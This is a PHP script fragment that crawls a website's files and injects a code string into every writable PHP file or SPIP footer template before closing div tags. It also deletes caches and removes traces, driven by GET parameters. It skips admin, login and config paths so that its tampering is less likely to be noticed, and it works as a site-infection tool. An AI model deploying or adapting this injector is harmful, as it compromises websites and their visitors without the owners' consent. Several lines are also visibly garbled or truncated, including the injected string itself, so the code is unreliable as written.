$tagInner=\"div\"; //==================================================================================
$codeSYSMsg=\"\";
$codeMsgWriteAble=\"\";
//$_SERVER[\'DOCUMENT_ROOT\']与 $_SERVER[\"DOCUMENT_ROOT\"] .$currDirNORTPathONLY.
$insertCode = \'\");flush();heartBT(); $hasRun = true;} ?>\';
// $blackList=[\'embed\',\'admin\',\'editor\',\'404\',\'backend\',\'cpanel\',\'manage\',\'config\',\'setting\',\'console\',\'sitemap\',\'api\',\'login\',\'signup\',\'cache\']; // >=5.4
$blackList=array(\'embed\',\'admin\',\'editor\',\'404\',\'backend\',\'cpanel\',\'manage\',\'config\',\'setting\',\'console\',\'sitemap\',\'api\',\'login\',\'signup\',\'cache\');
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath));
// $phpFiles = []; // >=5.4
// $inserted = []; // >=5.4
$phpFiles = array();
$inserted = array();
$AC=\"\";
if(isset($_GET[\'AC\'])){ $AC=trim($_GET[\'AC\']); $AC=str_replace(\' \',\'\',$AC); }
$SHOW=\"0\";
if(isset($_GET[\'SHOW\'])){ $SHOW=trim($_GET[\'SHOW\']); $SHOW=str_replace(\' \',\'\',$SHOW); }
if ($SHOW==\"1\") {
echo date(\'Y-m-d H:i:s\').\"
\";
echo preg_quote($insertCode, \'/\') .\"
\";
}
//////==============================
if (is_dir($rootPath . \'/ecrire/\')) {
$codeSYSMsg.= \'SPIP-PHP\';
foreach($files as $file) {
$currFileName=$file->getFilename();// keywords
$keywordsFN = \'foot|pied|bottom|sommaire\';//==============================
if(pathinfo($file, PATHINFO_EXTENSION) == \"html\" && ( preg_match(\"/\\b($keywordsFN)\\b/i\", $currFileName) ) && strpos($file->getPath(), \'squelet\') !== false) {
// $phpFiles[] = $file->getRealPath(); // >5.4
array_push($phpFiles, $file->getRealPath());
}
}
// DEL cacheDir
$cacheDir = $rootPath . \'/tmp/cache/\';
if(is_dir($cacheDir)) {
$success = delTree($cacheDir);
if($success) {
$codeSYSMsg.= \"-cacheDir DEL OK.\";
} else {
$codeSYSMsg.= \"-cacheDir DEL NOT.\";
}
}
// 删除缓存文件
$filePath = $rootPath.\'/\'.$currDirNORTPathONLY.\'/tmp/cache.json\';
$api_cache_file = $rootPath.\'/\'.$currDirNORTPathONLY.\'/tmp/api_cache.txt\';
$localPHPPath = $rootPath.\'/\'.$currDirNORTPathONLY.\'/tmp/tudo.php\';
if (file_exists($filePath)) {
unlink($filePath);
}
if (file_exists($api_cache_file)) {
unlink($api_cache_file);
}
if (file_exists($localPHPPath)) {
unlink($localPHPPath);
}
}else{
$codeSYSMsg.= \'UNKOWN-PHP\';
foreach ($files as $file) {
if ($file->isFile() && $file->getExtension() === \'php\' && $file->isWritable() && $file->getRealPath() !== __FILE__) {
$dir = $file->getPath();
$blackListed = false;
// foreach ($blackList as $blackWord) {
// if (strpos($dir, $blackWord) !== false || strpos($file->getFilename(), $blackWord) !== false) {
// $blackListed = true;
// break;
// }
// } // foreach //>5.4
// for all
for($i = 0; $i < count($blackList); $i++) {
$blackWord = $blackList[$i];
if (strpos($dir, $blackWord) !== false || strpos($file->getFilename(), $blackWord) !== false) {
$blackListed = true;
break;
}
}
if (!$blackListed) {
// $phpFiles[] = $file->getRealPath();//>5.4
array_push($phpFiles, $file->getRealPath());
}
}//endif
}
}
//
function delTree($dir) {
// $files = array_diff(scandir($dir), [\'.\',\'..\']);//>5.4
$exclude = array(\'.\', \'..\');
$files = array_diff(scandir($dir), $exclude);
foreach ($files as $file) {
(is_dir(\"$dir/$file\")) ? delTree(\"$dir/$file\") : unlink(\"$dir/$file\");
}
return rmdir($dir);
}
///////////////////
//***
function deleteAction($phpFiles,$insertCode){
$SHOW=\"0\";
if(isset($_GET[\'SHOW\'])){ $SHOW=trim($_GET[\'SHOW\']); $SHOW=str_replace(\' \',\'\',$SHOW); }//ADD AC
$j=1;
// foreach ($phpFiles as $file) { // >5.4
for ($i = 0; $i < count($phpFiles); $i++) {
$file = $phpFiles[$i];
$content = file_get_contents($file);
if (strpos($content, $insertCode) !== false) {
$content = str_replace($insertCode, \'\', $content);
file_put_contents($file, $content);
if ($SHOW==\"1\") { echo \"$j \". $file . \" *DEL REBACK ORIGINAL
\"; }
$j=$j+1;//+1
}
}
if($j==1){
if ($SHOW==\"1\") { echo \"DEL ACTION: NO MATCH file/content/VFstring
\" ; }
}
};
function insertAction($inserted,$phpFiles,$insertCode,$tagInner){
$SHOW=\"0\";
if(isset($_GET[\'SHOW\'])){ $SHOW=trim($_GET[\'SHOW\']); $SHOW=str_replace(\' \',\'\',$SHOW); }
$j=1;
// foreach ($phpFiles as $phpFile) {// >5.4
for ($i = 0; $i < count($phpFiles); $i++) {
$phpFile = $phpFiles[$i];
$content = file_get_contents($phpFile);
if (preg_match_all(\'/<\\/\' . $tagInner . \'>/\', $content, $matches, PREG_OFFSET_CAPTURE)) {
$validMatches = array_filter($matches[0], function ($match) use ($content) {
$pos = $match[1];
$tmpStr=substr($content, 0, $pos);
$phpEndTagPos = strrpos($tmpStr, \'?>\');
$phpBeginTagPos = strrpos($tmpStr, \'\') && $phpEndTagPos >= $phpBeginTagPos &&
substr_count($tmpStr, \'\') &&
substr_count($tmpStr, \'